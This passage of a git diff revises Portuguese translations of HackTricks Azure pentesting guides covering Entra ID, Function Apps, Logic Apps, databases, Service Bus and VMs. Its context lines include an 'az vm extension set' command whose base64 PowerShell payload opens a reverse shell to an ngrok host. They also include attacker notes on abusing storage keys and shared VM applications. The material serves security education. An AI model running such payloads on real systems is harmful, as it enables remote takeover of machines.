se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\ +> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele poderia abusar dessa funcionalidade para **entrar em outros grupos**.\ > Confira como abusar de grupos dinâmicos na página a seguir: {{#ref}} @@ -799,7 +799,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * > Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo.\ > Portanto, se encontrar esta **senha**, você pode acessar como o **service principal** **dentro** do **tenant**.\ > Note que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\ -> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que possa se passar por ele).\ +> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que ele possa se passar por ele).\ > Logins como esses service principals **não são marcados como arriscados** e **não terão MFA.** É possível encontrar uma lista de IDs de aplicativos comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) @@ -1032,8 +1032,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\ -> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**. +> Se um dispositivo (VM) estiver **juntado ao AzureAD**, usuários do AzureAD poderão **fazer login**.\ +> Além disso, se o usuário logado for **Proprietário** do dispositivo, ele será **administrador local**. ### Unidades Administrativas @@ -1088,10 +1088,10 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ### Gerenciamento de Identidade Privilegiada (PIM) -O Gerenciamento de Identidade Privilegiada (PIM) no Azure ajuda a **prevenir a atribuição excessiva de privilégios** a usuários desnecessariamente. +O Gerenciamento de Identidade Privilegiada (PIM) no Azure ajuda a **prevenir privilégios excessivos** sendo atribuídos a usuários desnecessariamente. Uma das principais características fornecidas pelo PIM é que permite não atribuir funções a principais que estão constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar essa função, ele precisa solicitá-la indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **administrador precisa aprovar** a solicitação.\ -Observe que o usuário também poderá solicitar a **prorrogação** do tempo. +Observe que o usuário também poderá solicitar para **estender** o tempo. Além disso, **o PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém. @@ -1120,7 +1120,7 @@ Verifique: A Proteção de Identidade do Entra é um serviço de segurança que permite **detectar quando um usuário ou um login é muito arriscado** para ser aceito, permitindo **bloquear** o usuário ou a tentativa de login. -Permite que o administrador o configure para **bloquear** tentativas quando o risco é "Baixo e acima", "Médio e acima" ou "Alto". Embora, por padrão, esteja completamente **desativado**: +Permite que o administrador configure para **bloquear** tentativas quando o risco é "Baixo e acima", "Médio e acima" ou "Alto". Embora, por padrão, esteja completamente **desativado**:
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index b295b705c..789141419 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -16,7 +16,7 @@ A API NoSQL do Azure Cosmos DB é uma API baseada em documentos que usa JSON com https://.documents.azure.com:443/ ``` #### Bancos de Dados -Dentro de uma conta, você pode criar um ou mais bancos de dados, que servem como agrupamentos lógicos de contêineres. Um banco de dados atua como um limite para gerenciamento de recursos e permissões de usuário. Os bancos de dados podem compartilhar a capacidade provisionada entre seus contêineres ou alocar capacidade dedicada para contêineres individuais. +Dentro de uma conta, você pode criar um ou mais bancos de dados, que servem como agrupamentos lógicos de contêineres. Um banco de dados atua como um limite para gerenciamento de recursos e permissões de usuário. Os bancos de dados podem compartilhar a capacidade provisionada entre seus contêineres ou alocar capacidade dedicada a contêineres individuais. #### Contêineres A unidade central de armazenamento de dados é o contêiner, que contém documentos JSON e é automaticamente indexado para consultas eficientes. Os contêineres são escaláveis de forma elástica e distribuídos entre partições, que são determinadas por uma chave de partição definida pelo usuário. A chave de partição é crítica para garantir desempenho ideal e distribuição uniforme de dados. Por exemplo, um contêiner pode armazenar dados de clientes, com "customerId" como a chave de partição. @@ -312,4 +312,6 @@ print(f"Inserted document with ID: {result.inserted_id}") * Dê uma olhada na pós exploração "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" e definições de função, pois aqui pode haver uma privesc * Dê uma olhada nas restaurações + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index 2f721866b..19990b766 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -23,7 +23,7 @@ ### Autenticações Suportadas via SMB -- **Autenticação AD DS local**: Utiliza credenciais do Active Directory local sincronizadas com o Microsoft Entra ID para acesso baseado em identidade. Requer conectividade de rede com o AD DS local. +- **Autenticação AD DS Local**: Utiliza credenciais do Active Directory local sincronizadas com o Microsoft Entra ID para acesso baseado em identidade. Requer conectividade de rede com o AD DS local. - **Autenticação dos Serviços de Domínio do Microsoft Entra**: Aproveita os Serviços de Domínio do Microsoft Entra (AD baseado em nuvem) para fornecer acesso usando credenciais do Microsoft Entra. - **Kerberos do Microsoft Entra para Identidades Híbridas**: Permite que usuários do Microsoft Entra autentiquem compartilhamentos de arquivos do Azure pela internet usando Kerberos. Suporta VMs unidas ao Microsoft Entra híbrido ou unidas ao Microsoft Entra sem exigir conectividade com controladores de domínio locais. Mas não suporta identidades apenas em nuvem. - **Autenticação Kerberos AD para Clientes Linux**: Permite que clientes Linux usem Kerberos para autenticação SMB via AD DS local ou Serviços de Domínio do Microsoft Entra. @@ -95,7 +95,7 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor Estes são os scripts propostos pela Azure no momento da escrita para conectar um File Share: -Você precisa substituir os placeholders ``, `` e ``. +Você precisa substituir os espaços reservados ``, `` e ``. {{#tabs}} {{#tab name="Windows"}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 40a5cf282..3adec0693 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -12,7 +12,7 @@ ### Planos Diferentes - **Flex Consumption Plan**: Oferece **escalonamento dinâmico e orientado a eventos** com preços pay-as-you-go, adicionando ou removendo instâncias de função com base na demanda. Suporta **rede virtual** e **instâncias pré-provisionadas** para reduzir inícios a frio, tornando-o adequado para **cargas de trabalho variáveis** que não requerem suporte a contêineres. -- **Traditional Consumption Plan**: A opção sem servidor padrão, onde você **paga apenas pelos recursos de computação quando as funções são executadas**. Ele escala automaticamente com base em eventos recebidos e inclui **otimizações de início a frio**, mas não suporta implantações de contêiner. Ideal para **cargas de trabalho intermitentes** que requerem escalonamento automático. +- **Traditional Consumption Plan**: A opção sem servidor padrão, onde você **paga apenas pelos recursos de computação quando as funções são executadas**. Ele escala automaticamente com base nos eventos recebidos e inclui **otimizações de início a frio**, mas não suporta implantações de contêiner. Ideal para **cargas de trabalho intermitentes** que requerem escalonamento automático. - **Premium Plan**: Projetado para **desempenho consistente**, com **trabalhadores pré-aquecidos** para eliminar inícios a frio. Oferece **tempos de execução estendidos, rede virtual** e suporta **imagens personalizadas do Linux**, tornando-o perfeito para **aplicações críticas** que necessitam de alto desempenho e recursos avançados. - **Dedicated Plan**: Executa em máquinas virtuais dedicadas com **faturamento previsível** e suporta escalonamento manual ou automático. Permite executar várias apps no mesmo plano, fornece **isolamento de computação** e garante **acesso seguro à rede** por meio de App Service Environments, tornando-o ideal para **aplicações de longa duração** que necessitam de alocação consistente de recursos. - **Container Apps**: Permite implantar **function apps containerizadas** em um ambiente gerenciado, juntamente com microsserviços e APIs. Suporta bibliotecas personalizadas, migração de aplicativos legados e **processamento GPU**, eliminando a necessidade de gerenciamento de clusters Kubernetes. Ideal para **aplicações escaláveis e orientadas a eventos**. @@ -21,7 +21,7 @@ Ao criar um novo Function App não containerizado (mas fornecendo o código para execução), os **códigos e outros dados relacionados à função serão armazenados em uma conta de Armazenamento**. Por padrão, o console da web criará um novo por função para armazenar o código. -Além disso, ao modificar o código dentro do bucket (nos diferentes formatos em que pode ser armazenado), o **código do app será modificado para o novo e executado** na próxima vez que a Função for chamada. +Além disso, ao modificar o código dentro do bucket (nos diferentes formatos em que pode ser armazenado), o **código do aplicativo será modificado para o novo e executado** na próxima vez que a Função for chamada. > [!CAUTION] > Isso é muito interessante do ponto de vista de um atacante, pois **o acesso de gravação sobre este bucket** permitirá que um atacante **comprometa o código e eleve privilégios** para as identidades gerenciadas dentro do Function App. @@ -44,7 +44,7 @@ Usando um gatilho HTTP: ### **Configurações do Function App & Variáveis de Ambiente** -É possível configurar variáveis de ambiente dentro de um app, que podem conter informações sensíveis. Além disso, por padrão, as variáveis de ambiente **`AzureWebJobsStorage`** e **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (entre outras) são criadas. Estas são especialmente interessantes porque **contêm a chave da conta para controlar com PERMISSÕES COMPLETAS a conta de armazenamento contendo os dados da aplicação**. Essas configurações também são necessárias para executar o código da Conta de Armazenamento. +É possível configurar variáveis de ambiente dentro de um aplicativo, que podem conter informações sensíveis. Além disso, por padrão, as variáveis de ambiente **`AzureWebJobsStorage`** e **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (entre outras) são criadas. Estas são especialmente interessantes porque **contêm a chave da conta para controlar com PERMISSÕES COMPLETAS a conta de armazenamento contendo os dados da aplicação**. Essas configurações também são necessárias para executar o código da Conta de Armazenamento. Essas variáveis de ambiente ou parâmetros de configuração também controlam como a Função executa o código, por exemplo, se **`WEBSITE_RUN_FROM_PACKAGE`** existir, isso indicará a URL onde o código da aplicação está localizado. @@ -79,8 +79,8 @@ Note que você precisa descobrir uma maneira de **verificar todas as Identidades Ao criar um endpoint dentro de uma função usando um **gatilho HTTP**, é possível indicar o **nível de autorização da chave de acesso** necessário para acionar a função. Três opções estão disponíveis: - **ANONYMOUS**: **Todos** podem acessar a função pela URL. -- **FUNCTION**: O endpoint é acessível apenas para usuários usando uma **chave de função, host ou mestre**. -- **ADMIN**: O endpoint é acessível apenas para usuários com uma **chave mestre**. +- **FUNCTION**: O endpoint é acessível apenas a usuários que usam uma **chave de função, host ou mestre**. +- **ADMIN**: O endpoint é acessível apenas a usuários com uma **chave mestre**. **Tipo de chaves:** @@ -195,7 +195,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} Além disso, uma **Identidade Gerenciada** também é criada para que a Ação do Github do repositório possa fazer login no Azure com ela. Isso é feito gerando uma credencial Federada sobre a **Identidade Gerenciada**, permitindo o **Emissor** `https://token.actions.githubusercontent.com` e o **Identificador do Sujeito** `repo:/:ref:refs/heads/`. > [!CAUTION] -> Portanto, qualquer pessoa que comprometer esse repositório poderá comprometer a função e as Identidades Gerenciadas anexadas a ela. +> Portanto, qualquer pessoa que comprometer esse repositório poderá comprometer a função e as Identidades Gerenciadas associadas a ela. ### Implantações Baseadas em Contêiner diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index d89272a3e..1a9d44891 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -11,7 +11,7 @@ Logic Apps fornece um designer visual para criar fluxos de trabalho com uma **am ### Exemplos - **Automatizando Pipelines de Dados**: Logic Apps pode automatizar **processos de transferência e transformação de dados** em combinação com o Azure Data Factory. Isso é útil para criar pipelines de dados escaláveis e confiáveis que movem e transformam dados entre vários armazenamentos de dados, como Azure SQL Database e Azure Blob Storage, auxiliando em operações de análise e inteligência de negócios. -- **Integrando com Azure Functions**: Logic Apps pode trabalhar ao lado do Azure Functions para desenvolver **aplicações sofisticadas, orientadas a eventos que escalam conforme necessário** e se integram perfeitamente com outros serviços do Azure. Um exemplo de caso de uso é usar um Logic App para acionar uma Azure Function em resposta a certos eventos, como mudanças em uma conta de armazenamento do Azure, permitindo o processamento dinâmico de dados. +- **Integrando com Azure Functions**: Logic Apps pode trabalhar ao lado do Azure Functions para desenvolver **aplicações sofisticadas e orientadas a eventos que escalam conforme necessário** e se integram perfeitamente com outros serviços do Azure. Um exemplo de caso de uso é usar um Logic App para acionar uma Azure Function em resposta a certos eventos, como mudanças em uma conta de armazenamento do Azure, permitindo o processamento dinâmico de dados. ### Visualizar um LogicAPP @@ -19,11 +19,11 @@ Logic Apps fornece um designer visual para criar fluxos de trabalho com uma **am
-ou verificar o código na seção "**Visualização do código do Logic app**". +ou verificar o código na seção "**Visualização do código da lógica app**". ### Proteção SSRF -Mesmo que você encontre o **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso. +Mesmo que você encontre a **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso. Por exemplo, algo como isso não retornará o token: ```bash @@ -35,11 +35,11 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741 Existem várias opções de hospedagem: * **Consumo** -- **Multi-tenant**: fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços por operação. Isso é ideal para cargas de trabalho leves e econômicas. +- **Multi-tenant**: fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços pay-per-operation. Isso é ideal para cargas de trabalho leves e econômicas. * **Padrão** -- **Workflow Service Plan**: recursos de computação dedicados com integração VNET para rede e cobranças por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle. -- **App Service Environment V3** recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias do App Service dentro do ambiente. Isso é ideal para aplicações em escala empresarial que necessitam de alto isolamento. -- **Híbrido** projetado para processamento local e suporte a múltiplas nuvens. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). +- **Workflow Service Plan**: recursos de computação dedicados com integração VNET para rede e cobranças por instância de plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle. +- **App Service Environment V3** recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias de App Service dentro do ambiente. Isso é ideal para aplicações em escala empresarial que necessitam de alto isolamento. +- **Híbrido** projetado para processamento local e suporte multi-nuvem. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). ### Enumeração diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 19366ae99..95943580a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -10,7 +10,7 @@ O Azure Database for MySQL é um serviço de banco de dados relacional totalment - Os recursos incluem backups automatizados, alta disponibilidade e monitoramento básico. - Ideal para aplicativos com cargas de trabalho previsíveis. * **Servidor Flexível**: -- Oferece mais controle sobre o gerenciamento e configuração do banco de dados. +- Oferece mais controle sobre a gestão e configuração do banco de dados. - Suporta alta disponibilidade (mesma zona e redundância de zona). - Recursos de escalabilidade elástica, gerenciamento de patches e otimização de carga de trabalho. - Oferece funcionalidade de parar/iniciar para economia de custos. @@ -114,7 +114,7 @@ Ou com o plugin de extensão nativa do MySQL ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -Você também pode executar consultas com o github, mas a senha e o usuário também são necessários. Você precisa configurar um arquivo sql com a consulta a ser executada e então: +Você também pode executar consultas com github, mas a senha e o usuário também são necessários. Você precisa configurar um arquivo sql com a consulta a ser executada e então: ```bash # Setup az mysql flexible-server deploy setup \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 806849c9b..67ed74671 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## Azure PostgreSQL -**Azure Database for PostgreSQL** é um serviço de **banco de dados relacional totalmente gerenciado baseado na edição comunitária do PostgreSQL**. É projetado para fornecer escalabilidade, segurança e flexibilidade para diversas necessidades de aplicativos. Semelhante ao Azure MySQL, o PostgreSQL oferece dois modelos de implantação: +**Azure Database for PostgreSQL** é um serviço de **banco de dados relacional totalmente gerenciado baseado na edição comunitária do PostgreSQL**. Ele é projetado para fornecer escalabilidade, segurança e flexibilidade para diversas necessidades de aplicativos. Semelhante ao Azure MySQL, o PostgreSQL oferece dois modelos de implantação: * **Servidor Único** (em caminho de aposentadoria): - Otimizado para implantações de PostgreSQL simples e econômicas. diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index de326f1e1..fc980a31b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -9,7 +9,7 @@ Azure Service Bus é um **serviço de mensagens** baseado em nuvem projetado par ### Conceitos Chave 1. **Filas:** seu propósito é armazenar mensagens até que o receptor esteja pronto. -- As mensagens são ordenadas, com timestamp e armazenadas de forma durável. +- As mensagens são ordenadas, carimbadas com data/hora e armazenadas de forma durável. - Entregues em modo pull (recuperação sob demanda). - Suporta comunicação ponto a ponto. 2. **Tópicos:** Mensagens de publicação-assinatura para transmissão. @@ -23,12 +23,12 @@ Azure Service Bus é um **serviço de mensagens** baseado em nuvem projetado par Alguns recursos avançados são: - **Sessões de Mensagens**: Garante processamento FIFO e suporta padrões de solicitação-resposta. -- **Auto-Encaminhamento**: Transfere mensagens entre filas ou tópicos no mesmo namespace. +- **Encaminhamento Automático**: Transfere mensagens entre filas ou tópicos no mesmo namespace. - **Dead-Lettering**: Captura mensagens não entregáveis para revisão. -- **Entrega Agendada**: Retarda o processamento de mensagens para tarefas futuras. +- **Entrega Programada**: Retarda o processamento de mensagens para tarefas futuras. - **Atraso de Mensagens**: Adia a recuperação de mensagens até que esteja pronto. - **Transações**: Agrupa operações em execução atômica. -- **Filtros & Ações**: Aplica regras para filtrar ou anotar mensagens. +- **Filtros e Ações**: Aplica regras para filtrar ou anotar mensagens. - **Auto-Exclusão em Inatividade**: Exclui filas após inatividade (mínimo: 5 minutos). - **Detecção de Duplicatas**: Remove mensagens duplicadas durante reenvios. - **Exclusão em Lote**: Exclui em massa mensagens expiradas ou desnecessárias. @@ -41,8 +41,8 @@ As Políticas SAS definem as permissões de acesso para entidades do Azure Servi - Gerenciar: Concede controle total sobre a entidade, incluindo configuração e gerenciamento de permissões. - Enviar: Permite enviar mensagens para a entidade. - Ouvir: Permite receber mensagens da entidade. -- **Chaves Primária e Secundária**: Estas são chaves criptográficas usadas para gerar tokens seguros para autenticar o acesso. -- **Strings de Conexão Primária e Secundária**: Strings de conexão pré-configuradas que incluem o endpoint e a chave para fácil uso em aplicações. +- **Chaves Primárias e Secundárias**: Estas são chaves criptográficas usadas para gerar tokens seguros para autenticar o acesso. +- **Strings de Conexão Primárias e Secundárias**: Strings de conexão pré-configuradas que incluem o endpoint e a chave para fácil uso em aplicações. - **ID da Política SAS ARM**: O caminho do Azure Resource Manager (ARM) para a política para identificação programática. ### Namespace diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index fc04c31e2..90d700c6b 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -33,25 +33,25 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív - **Alertas**: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão: - Porcentagem de CPU é maior que 80% - Bytes de Memória Disponível é menor que 1GB -- Porcentagem de IOPS Consumidos de Discos de Dados é maior que 95% -- Porcentagem de IOPS Consumidos do SO é maior que 95% +- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95% +- Porcentagem de IOPS do SO Consumidos é maior que 95% - Rede Total é maior que 500GB - Rede Saída Total é maior que 200GB - VmAvailabilityMetric é menor que 1 - **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80 - **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**). - A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas... -- Os bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura** +- Bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura** ## Discos & instantâneas - É possível **habilitar a anexação de um disco a 2 ou mais VMs** - Por padrão, cada disco é **criptografado** com uma chave da plataforma. -- O mesmo se aplica às instantâneas +- O mesmo se aplica a instantâneas - Por padrão, é possível **compartilhar o disco de todas as redes**, mas também pode ser **restrito** a apenas certos **acessos privados** ou **desativar completamente** o acesso público e privado. -- O mesmo se aplica às instantâneas +- O mesmo se aplica a instantâneas - É possível **gerar um URI SAS** (de no máximo 60 dias) para **exportar o disco**, que pode ser configurado para exigir autenticação ou não -- O mesmo se aplica às instantâneas +- O mesmo se aplica a instantâneas {{#tabs}} {{#tab name="az cli"}} @@ -77,7 +77,7 @@ Get-AzDisk -Name -ResourceGroupName ## Imagens, Imagens de Galeria e Pontos de Restauração Uma **imagem de VM** é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para **criar uma nova máquina virtual (VM)**. A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter **múltiplos discos e é projetada para servir como um modelo para criar novas VMs**.\ -As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro de **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública. +As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro das **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até mesmo torná-la pública. Um **ponto de restauração** armazena a configuração da VM e **instantâneas consistentes de aplicativo em um ponto no tempo** de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico. @@ -517,7 +517,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Execute reverse shell a partir de um arquivo +- Execute reverse shell a partir de arquivo ```bash az vm extension set \ --resource-group \ @@ -609,9 +609,9 @@ Set-AzVMDscExtension `
-Trabalhador de Runbook Híbrido +Hybrid Runbook Worker -Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [serviço de Contas de Automação](../az-automation-account/index.html). +Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [Automation Accounts service](../az-automation-account/index.html).
@@ -633,7 +633,7 @@ Estes são os caminhos onde os aplicativos são baixados dentro do sistema de ar Verifique como instalar novos aplicativos em [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> É possível **compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários**. O que é muito interessante porque pode permitir que um atacante insira um backdoor em um aplicativo e faça pivot para outras assinaturas e locatários. +> É possível **compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários**. O que é muito interessante porque poderia permitir que um atacante inserisse um backdoor em um aplicativo e fizesse pivot para outras assinaturas e locatários. Mas **não há um "marketplace" para aplicativos de vm** como há para extensões. @@ -735,8 +735,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad É possível passar alguns dados para a VM que serão armazenados em caminhos esperados: -- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. -- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` +- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. +- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados. - **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados. - Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index ac30ff70e..23ed909c9 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -7,11 +7,11 @@ Azure fornece **redes virtuais (VNet)** que permitem aos usuários criar **redes isoladas** dentro da nuvem Azure. Dentro dessas VNets, recursos como máquinas virtuais, aplicativos, bancos de dados... podem ser hospedados e gerenciados de forma segura. A rede no Azure suporta tanto a comunicação dentro da nuvem (entre serviços Azure) quanto a conexão com redes externas e a internet.\ Além disso, é possível **conectar** VNets com outras VNets e com redes locais. -## Rede Virtual (VNET) & Sub-redes +## Rede Virtual (VNET) e Sub-redes Uma Rede Virtual do Azure (VNet) é uma representação da sua própria rede na nuvem, proporcionando **isolamento lógico** dentro do ambiente Azure dedicado à sua assinatura. VNets permitem que você provisiona e gerencie redes privadas virtuais (VPNs) no Azure, hospedando recursos como Máquinas Virtuais (VMs), bancos de dados e serviços de aplicativos. Elas oferecem **controle total sobre as configurações de rede**, incluindo faixas de endereços IP, criação de sub-redes, tabelas de roteamento e gateways de rede. -**Sub-redes** são subdivisões dentro de uma VNet, definidas por **faixas de endereços IP** específicas. Ao segmentar uma VNet em várias sub-redes, você pode organizar e proteger recursos de 